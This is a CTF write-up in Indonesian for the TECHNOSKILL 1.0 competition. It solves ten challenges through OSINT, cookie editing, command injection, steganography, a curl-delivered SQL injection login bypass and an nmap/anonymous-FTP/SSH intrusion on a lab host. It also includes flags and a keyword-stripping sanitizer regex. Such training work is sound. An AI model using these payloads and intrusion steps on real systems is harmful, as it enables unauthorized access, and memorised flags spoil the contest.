# WRITE UP TECHNOSKILL 1.0 FTUI
<center>Zaidan Kamil Munadi</center>
## Daftar isi
### π’ EASY
- [Netcyber](#Netcyber)
- [KFC](#ππKFC)
- [Yummy Cookie](#πͺYummy-Cookie)
- [Scenario ??](#Scenario-??)
### π‘ MEDIUM
- [Replayer](#Replayer)
- [727](#727)
- [Login 2.0](#Login-2.0)
- [Schizo](#Schizo)
### π΄ HARD
- [Touch Grass](#Touch-Grass)
- [CTF-Class of tactical Fabrication](#CTF-Class-of-Tactical-Fabrication)
## π’EASY
### Netcyber
> POIN : 300
> URL: https://netlab-ctf-netcyber.tagj8z.easypanel.host/
Dalam tantangan ini kita diberikan landing page yang berisi info biasa dan diberikan button dengan tulisan gettouch ketika saya klik endpoint berubah menjadi `https://netlab-ctf-netcyber.tagj8z.easypanel.host/#contact` pada halaman ini kita diberikan info alamat email `notkamalfrfr@x.com` saya kira ini hanya info contact biasa tetapi saya curiga pasti ada directory yang disembunyikan karena tidak ada apa apa dalam landing page ini.
dan saya coba mencari directory tersembunyi tersebut menggunakan tools dirsearch dan ditemukan endpoint `/flag` lalu saya coba tambahkan endpoint tersebut ke url tetapi didirect ke halaman login
#### dengan tampilan seperti ini

ketika melihat halaman login ini saya coba menggunakan sql injection `''OR==1'` dan pass nya sama tetapi tidak memunculkan apa apa,
> dipikir pikir info contact terakhir ada x nya apakah ini seperti saya harus membuka x dan username nya notkamalfrfr
disinilah kecurigaan saya muncul ketika saya buka x dan benar disana ada petunjuk password yang harus digunakan

setelah saya mencoba membuka nya dan saya menemukan password: `uiauiaui_uiiiauia`
dan saya coba masukan username:notkamalfrfr dan password yang ditemukan dalam halaman login tersebut

and **BOOM** flag pun didapatkan

```
flag : TECHNOSKILL{Tr4l4l3LoTr4lala_tun9tun9s4hur}
```
### ππKFC
> Poin: 300
Deskripsi: The last place we talk to each other before you become another person.
Format Flag 1: TECHNOSKILL{"address dari kfc"} (address dapat memiliki spasi dan merupakan alphanumeric)
Format Flag 2: TECHNOSKILL{longitude, latitude} atau TECHNOSKILL{--.---, ---.---}
dalam tantangan ini kita diberikan sebuah gambar toko kfc seperti ini :

>gambar tersebut diberikan agak tidak jelas karena ada wm yang menghalangi
untuk bisa melihat lebih jelas gambar nya saya menggunakan `https://www.watermarkremover.io/` dan gambar menjadi seperti ini

dan sekarang kita dapat melihat lebih jelas. Berdasarkan petunjuk pertama yaitu kfc addres atau alamat kfc dalam gambar saya menggunakan google lens untuk memeriksanya

diberitahu tempat kfc tersebut bernama KFC Nishi-Shinjuku berarti lokasi kfc tersebut berada dishinjuku dan disini juga pada clue pertama orang bertemu terakhir disini berarti tempat ini dijepang menjadi tempat perpisahan bagi sebagian orang dan berdasarkan format flag ketika saya cek google maps maka flag nya menjadi
**FLAG UTAMA**
```
TECHNOSKILL{1 Chome-2-10 Nishishinjuku, Shinjuku City, Tokyo 160-0023, Jepang}
```
**FLAG ALTERNATIF**
```
TECHNOSKILL{35.692,139.699}
```
### πͺYummy Cookie
>Poin: 300
URL: https://netlab-ctf-cookie-yumy.tagj8z.easypanel.host/
ketika dibuka url nya diberikan halaman seperti ini :
>
ketika saya masukan admin saya diberikan pesan alert :
>
lalu saya coba masukan karakter random

karena nama tantangannya cookie maka saya cek cookie dengan menekan `f12` atau inspect cek cookie dan saya rubah value nya menjadi `admin` dan tampilannya menjadi seperti ini

dan diberikan pesan terenkripsi `aHR0cHM6Ly9wYXN0ZWJpbi5jb20vYWVyTXVzcWs=` terlihat seperti menggunakan enkripsi base64
>
lalu saya coba decode
>
dan ketika didecode saya diberikan link https://pastebin.com/aerMusqk ketika diakses **BOOM** kita mendapatkan flagnya.
```
FLAG: TECHNOSKILL{yum_yum_c00k135_50_yummie}
```
### Scenario ??
>Poin: 300
URL: https://netlab-ctf-bull-board.tagj8z.easypanel.host/
ketika membuka website nya saya diarahkan ke halaman login dan diminta untuk memasukan username dan saya masukan nama zaidan

dugaan saya,saya langsung mendapatkan flag dari chat board ini tetapi ternyata fake flag dan saya coba cek inspect pada network saya GET datanya ternyata ada file `api/posts`

>1. Cek halaman utama β tampilannya cuma kaya board dengan banyak karakter fiksi saling chat.
>2. Curiga kalau ini ambil data dari API. Buka DevTools β tab
>3. Network β cari request yang ambil data GET /api/posts.
>4. Bener aja! Di situ ada JSON panjang banget berisi list semua post yang muncul di board β termasuk dari user admin yang ternyata nyisipin flag dalam bentuk pecahan dan akhirnya digabungkan.
>5. dan kita mendapatkan flagnya
```
FLAG:TECHNOSKILL{Neverending_5t0ry}
```
## π‘ Medium
### Replayer
>Poin: 400
URL: https://netlab-ctf-replayer-fe.tagj8z.easypanel.host/
pada tantangan ini ketika kita akses url nya diberikan halaman chatbot yang dimana jika kita mengetik sesuatu maka chatbot tersebut akan menyalin dan mengirimkan kembali ketikan kita sebelumnya seperti ini : 
nah karena saya pernah pengalaman mengerjakan tantangan ctf seperti ini saya coba memasukan banyak simbol seperti ini: 
ketika saya memasukan `;` chatbot mengirim blank respone maka bisa dibilang ini adalah payload command injectionnya saya coba kirimkan `;` ditambahkan dengan huruf random seperti ini:

dan disini kita mendapat petunjuk hanya `ls` dan `cat` yang bisa digunakan setelah memasukan _payload_ nya ketika saya coba kembali hasilnya seperti ini : 


dan kita mendapatkan flagnya
```
FLAG : TECHNOSKILL{WOW_you_dug_deep_huh}
```
### 727
> Poin: 400
URL: https://netlab-ctf-727.tagj8z.easypanel.host/
dalam tantangan ini kita diberikan halaman url dengan tampilan seperti ini : 
pada tantangan ini diberikan 1 pesan yang berisi _**watch the sky and heed the time**_ yang mungkin menjadi suatu petunjuk yaitu saya dapat mendapatkan sesuatu ketika waktu menunjukan `7:27`
agar tidak lama menunggu saya mengubah waktu pada system device saya menjadi UTC seperti ini : 
dan tampilannya berubah menjadi seperti ini

kita diberikan button link dalam teks `RECIVE THE REVELATION` ketika diklik kita menerima sebuah file yang bernama vision.zip.
untuk mengungkap file vision.zip kita harus extract file tersebut saya menggunakan unzip vision.zip dan keluar file ini beserta isinya seperti ini:
> `runes.txt` => ββββα΄β βαΊβ α΄βα‘ββ
> `path.txt` => The Tablet rests in the open, among the Seerβs shared records. It lies beneath the sigil known to those who speak the true name.
nah teringat tantangan netcyber saya mencoba dengan metode yang sama yaitu stalking username dan diberikan platform setelah @ yaitu github ketika saya buka

dan ternyata isi nya adalah petunjuk untuk mendekripsikan simbol acak pada runes.txt ketika saya urutkan maka kalimatnya menjadi `PRAISE THE SEVEN` dan saya coba input flagnya dengan format TECHNOSKILL{} maka saya dapatkan flagnya :
```
FLAG : TECHNOSKILL{PRAISE THE SEVEN}
```
### Login 2.0
>Poin: 400
URL: https://netlab-ctf-login-fe.tagj8z.easypanel.host/
Deskripsi: This time i have added some new security measures
ketika kita akses url nya kita diberikan laman login dan saya input acak seperti ini:

ketika di sign muncul alert invalid credentials saya cek kesalahannya diconsole dan ternyata ada yang simbol yang disanitasi 
lalu saya coba buka file yang diarahkan pada console dan benar berisi sanitasi object simbol
```javascript
const R = /('|--|;|\/\*|\*\/|xp_|exec|union|select|insert|update|delete|drop|alter|create|truncate|replace|grant|revoke|cast|convert|char|nchar|varchar|nvarchar|declare|set|sleep|benchmark|information_schema|or\s+\d+=\d+)/gi
, P = D.replace(R, "")
, k = K.replace(R, "");
console.log("Sanitized Email:", P),
console.log("Sanitized Password:", k);
try {
const ml = {
email: P,
password: k
};
if (console.log("Sending request with body:", ml),
!(await fetch("https://netlab-ctf-login.tagj8z.easypanel.host/login", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(ml)
})).ok)
throw new Error("Invalid credentials");
alert("Login successful!")
} catch (ml) {
Tl(ml.message)
} finally {
V(!1)
}
}
```
maka saya coba menggunakan curl pada cmd untuk modifikasi agar sesuai pada database JSON seperti ini:
```bash
curl -X POST "https://netlab-ctf-login.tagj8z.easypanel.host/login" -H "Content-Type: application/json" -d "{\"email\":\"admin@admin.com\",\"password\":\"'Β ORΒ '1'='1\"}"
```
dan muncul lah respone seperi ini :

dan kita mendapatkan flagnya
```
flag:TECHNOSKILL{put_s@n1t1z3r_0n_th3_b4ckend_4s_w3ll}
```
### Schizo
>Poin: 400
URL: https://netlab-ctf-wordpress.tagj8z.easypanel.host/
Deskripsi: a page i could no longger find
diberikan landing page seperti ini :
dan saya coba klik klik jejak button pada halaman ini lalu masuk ke halaman ini :

pada halaman ini ada strings acak dan bisa diklik dan ketika saya klik :

AND **BOOM** kita mendapatkan flagnya
```
flag:TECHNOSKILL{w0rdpr3ss_24102003}
```
## π΄ HARD
### Touch Grass
> POINT : 500
> Description : time to touch some grass find the message in the grass
kita diberikan sebuah file field.png seperti ini:
setelah kita lihat gambar dan metadata nya tidak ada yang mencurigakan dan saya coba memeriksanya menggunakan zsteg untuk melihat pesan tersembunyi didalam gambar dengan perintah `zsteg field.png` maka muncul lah informasi seperti ini :
```bash
imagedata .. file: MIPSEL-BE ECOFF executable not stripped - version 1.-1
b1,r,lsb,xy .. text: "ruaarqaarq"
b1,b,lsb,xy .. text: "X\\DEX\\DEX\\"
b1,rgb,lsb,xy .. text: "here is your grass now find the message\nVW VVWV VWVV VW WWV VVVV VV WVV WVV V WV VV WV W VVVV V VVWV VV V VWVV WVV WW VVW VVV W WV WWW W WVVV V WW WWW VWW V WVV"
b2,r,msb,xy .. text: "}UUUUUUUUU"
b2,g,msb,xy .. text: "UWwWWWwW"
b2,b,msb,xy .. text: "_]UUUUUUUUU"
b2,rgba,lsb,xy .. text: "7#3w'gs7'##sw'gw"
b3,rgba,lsb,xy .. text: "?gtwCt?cvwG"
b4,r,lsb,xy .. text: "\"##2\"\"\"2#2\"2\"3#2\"##2"
b4,r,msb,xy .. text: "nffffffffffffffffff"
b4,g,msb,xy .. file: MPEG ADTS, layer I, v2, 112 kbps, Monaural
b4,b,msb,xy .. text: ["w" repeated 19 times]
```
Dan muncul lah pesan tersembunyi yang sesuai petunjuk dalam deskripsi di b1,rgb,lsb,xy:
>"here is your grass now find the message\nVW VVWV VWVV VW WWV VVVV VV WVV WVV V WV VV WV W VVVV V VVWV VV V VWVV WVV WW VVW VVV W WV WWW W WVVV V WW WWW VWW V WVV"
**π± Tahap 2: Rumput Berbicara Dalam Sandi Pramuka**
Ternyata pola V dan W mengarah ke sandi Morse ala pramuka:
V = . (titik)
W = - (strip)
Saya konversi:
```python
# Kamus Morse sederhana
morse_dict = {
".-": "A", "-...": "B", "-.-.": "C", "-..": "D", ".": "E",
"..-.": "F", "--.": "G", "....": "H", "..": "I", ".---": "J",
"-.-": "K", ".-..": "L", "--": "M", "-.": "N", "---": "O",
".--.": "P", "--.-": "Q", ".-.": "R", "...": "S", "-": "T",
"..-": "U", "...-": "V", ".--": "W", "-..-": "X", "-.--": "Y",
"--..": "Z"
}
# Sandi dari CTF
sandi = "VW VVWV VWVV VW WWV VVVV VV WVV WVV V WV VV WV W VVVV V VVWV VV V VWVV WVV WW VVW VVV W WV WWW W WVVV V WW WWW VWW V WVV"
# Ubah V = titik, W = strip
morse = sandi.replace("V", ".").replace("W", "-")
morse_letters = morse.split()
# Decode manual
decoded = ''.join([morse_dict.get(code, '?') for code in morse_letters])
print(decoded)
```
Hasil Morse setelah di-decode:
```bash
AFLAGHIDDENINTHEFIELDMUSTNOTBEMOWED
```
dan kita menemukan flagnya :
```
FLAG:TECHNOSKILL{AFLAGHIDDENINTHEFIELDMUSTNOTBEMOWED}
```
### CTF Class of Tactical Fabrication
>POIN : 500
>DESCRIPTION : There's always an entry for those who know
8.215.63,72
dalam tantangan ini awalnya saya bingung ini harus diapain apakah sebuah ip atau bukan dan saya coba mengubah simbol , menjadi . dan benar saja ini adalah ip address dan saya coba akses melalui browser dan tidak bisa dibuka, karena tidak bisa dibuka saya mencoba ping apakah ada koneksi terhadap ip addres tersebut dengan perintah
```kali
ping 8.215.63.72
PING 8.215.63.72 (8.215.63.72) 56(84) bytes of data.
64 bytes from 8.215.63.72: icmp_seq=1 ttl=51 time=2845 ms
64 bytes from 8.215.63.72: icmp_seq=2 ttl=51 time=3952 ms
64 bytes from 8.215.63.72: icmp_seq=3 ttl=51 time=3010 ms
64 bytes from 8.215.63.72: icmp_seq=4 ttl=51 time=2945 ms
64 bytes from 8.215.63.72: icmp_seq=4 ttl=51 time=2979 ms (DUP!)
64 bytes from 8.215.63.72: icmp_seq=5 ttl=51 time=2910 ms
64 bytes from 8.215.63.72: icmp_seq=6 ttl=51 time=2365 ms
64 bytes from 8.215.63.72: icmp_seq=6 ttl=51 time=2372 ms (DUP!)
64 bytes from 8.215.63.72: icmp_seq=6 ttl=51 time=2372 ms (DUP!)
64 bytes from 8.215.63.72: icmp_seq=6 ttl=51 time=2372 ms (DUP!)
64 bytes from 8.215.63.72: icmp_seq=6 ttl=51 time=2372 ms (DUP!)
64 bytes from 8.215.63.72: icmp_seq=6 ttl=51 time=2372 ms (DUP!)
64 bytes from 8.215.63.72: icmp_seq=6 ttl=51 time=2375 ms (DUP!)
64 bytes from 8.215.63.72: icmp_seq=7 ttl=51 time=2486 ms
64 bytes from 8.215.63.72: icmp_seq=8 ttl=51 time=2130 ms
64 bytes from 8.215.63.72: icmp_seq=9 ttl=51 time=1953 ms
64 bytes from 8.215.63.72: icmp_seq=10 ttl=51 time=2390 ms
```
dan hasilnya ip address tersebut memiliki koneksi yang berarti tersedia dan bisa diakses dan saya coba network mapping memastikan port apa saja yang terbuka dengan perintah
```kali
nmap -sC -sV -Pn 8.215.63.72
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-15 18:07 WIB
Nmap scan report for 8.215.63.72
Host is up (0.016s latency).
Not shown: 967 filtered tcp ports (no-response), 30 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 5e:3d:ec:61:ed:90:aa:8d:1e:1e:08:54:77:81:b5:b4 (ECDSA)
|_ 256 de:0d:ba:ea:c2:b2:dc:8d:4c:88:0c:ff:18:aa:c4:71 (ED25519)
80/tcp open http?
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.38 seconds
```
dan ternyata yang terbuka adalah port 21 pada service ftp dan port 22 pada service ssh dan kita coba
```kali
ftp 8.215.63.72
Connected to 8.215.63.72.
220 (vsFTPd 3.0.5)
200 Always in UTF8 mode.
User (8.215.63.72:(none)): anonymous
230 Login successful.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
creds.txt
226 Directory send OK.
ftp: 14 bytes received in 0.00Seconds 14000.00Kbytes/sec.
ftp> get creds.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for creds.txt (119 bytes).
226 Transfer complete.
ftp: 119 bytes received in 0.00Seconds 119000.00Kbytes/sec.
ftp> ftp> ^D^Dftp> ftp> ftp> bye
```
disini ketika kita ls terdapat file creds.txt yang dimana file ini menyimpan credential untuk login menggunakan service ssh dan isi kredensial nya yaitu username student dengan password nmixx00, setelah mendapat credential nya kita coba ssh dengan perintah
```kali
ssh student@8.215.63.72
```

dan kita berhasil masuk ke server ssh ini. lalu kita cek ternyata terdapat file leader.png pada directory student yang menyimpan secret access saya menemukan 4 file leader.png pada 4 directory berbeda yaitu _/home,/CaptureTheFlag-Club,/PenSociety-Club,/VeritasForum-Club_. dan saya menemukan secret access pada file leader.png di directory CaptureTheFlag-Club menggunakan zsteg
```kali
zsteg leader_ctf.png
b1,r,lsb,xy .. text: "1@5w3JBf"
b1,rgb,lsb,xy .. text: "!SECRET ACCESS=cftp:9120758hafhfa"
b2,r,msb,xy .. text: "AP@EDPD@"
b2,b,msb,xy .. file: PGP Secret Sub-key -
b3,r,lsb,xy .. file: OpenPGP Public Key
b3,g,lsb,xy .. file: OpenPGP Public Key
b3,b,lsb,xy .. text: "#[6$5*!Iv"
b4,r,lsb,xy .. text: "$DDfdDdDFffh"
b4,r,msb,xy .. text: "$\"\"f&\"&\"bff"
b4,g,msb,xy .. text: "1w[Y7a.J$jY"
b4,b,lsb,xy .. text: "%E\"\"UEB#232\""
b4,b,msb,xy .. text: "D$DDDDDD"
b4,rgb,lsb,xy .. text: "HEeGEBu'#B7Bu9c"
b4,rgb,msb,xy .. text: "b$AR$E6dEV$A"
b4,bgr,lsb,xy .. text: "HEeGBE%s'2BG5si9"
b4,bgr,msb,xy .. text: "Bpw6Wws7p"
b4,rgba,lsb,xy .. text: "_m/j/y/z/"
b4,abgr,msb,xy .. text: "\"O&O!O%O%OcOeOeO!O!"
```
dan kita mendapatkan secret access `cftp:9120758hafhfa` ternyata ada user lain bernama cftp ketika saya cek dengan eksplorasi directory ditemukan user cftp seperti ini
dan saya coba su cftp menggunakan informasi password pada leader.png dari directory CaptureTheFlag-Club 
ternyata dalam user ini tidak ada file ataupun directory dan saya coba eksplorasi path dan ada ketika cek 1 1 saya menemukan path atau directory mencurigakan dalam directory var didalam nya ada directory bernama cftp 
ketika saya buka benar disana ada file bernama flag.txt 
dan saya coba memunculkan isi file tersebut dengan perintah
```kali
cat flag.txt
```
and **BOOM** kita mendapatkan flagnya
```bash
TECHNOSKILL{FTP_ST3G0_CH34T}
```